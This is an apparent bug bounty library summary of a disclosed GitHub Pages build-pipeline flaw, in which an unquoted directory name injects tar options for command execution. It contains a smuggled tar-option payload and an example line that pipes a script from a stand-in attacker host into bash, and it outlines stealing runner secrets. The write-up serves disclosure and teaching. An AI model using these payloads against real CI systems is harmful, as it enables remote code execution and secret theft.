# Command Injection in the GitHub Pages Build Pipeline

GitHub Pages theme chooser accepted arbitrary source_dir, injecting tar flags via directory name to achieve command execution on the Actions runner.

- Payout: $4,000
- Severity: high
- Program: GitHub
- Credited: Joren Vrancken
- Disclosed: 2022-08-25
- Write-up quality: 8/10
- Original: https://blog.nietaanraken.nl/posts/github-pages-command-injection/
- Library page: https://bugbountylibrary.com/r/blog%3Ablog-nietaanraken-nl-posts-github-pages-command-injection
- Tags: domain:web impact:data-leak impact:rce kind:bounty platform:blog sev:high tech:github-actions technique:chained technique:source-review vuln:command-injection vuln:rce

**Target:** GitHub Pages build pipeline (Actions runner tar command)
**Root cause:** The theme chooser accepted an arbitrary source_dir value that was interpolated unquoted into a tar command in actions/upload-pages-artifact, so directory names beginning with -- were parsed as tar options.
**Steps:**
1. Open theme chooser URL with source_dir set to a payload like `/ --checkpoint=1 --checkpoint-action="exec=id" --exclude=`
2. GitHub creates the directory and a Jekyll setup there, then triggers a Pages build
3. The build job runs `tar --directory ./<source_dir>/_site ...`, so the payload becomes tar arguments
4. tar executes the checkpoint-action command on each processed file
**How found:** Noticed the theme chooser URL carried source/source_dir params not editable on the page, tested arbitrary directory names, then read actions/upload-pages-artifact source and saw unquoted `--directory ${{ inputs.path }}` in tar, hypothesizing flag injection via directory name.
**Exploitation:** Attacker crafts a URL with URL-encoded source_dir payload containing `--checkpoint-action="exec=curl -s evil.com/script.sh | bash"`, sends it to a repo admin; admin clicks Select theme, build runs tar, payload executes on the runner giving repo access.
**Escalation:** Code execution on runner enables reading private repo code, extracting runner secrets (e.g. ACTIONS_ID_TOKEN_REQUEST_TOKEN), publishing content to victim's Pages site, or crypto mining.
**Insight:** When a user-controlled path is interpolated unquoted into a CLI invocation, a leading `--` turns the path into an option; tar's --checkpoint-action gives silent RCE that keeps the command succeeding.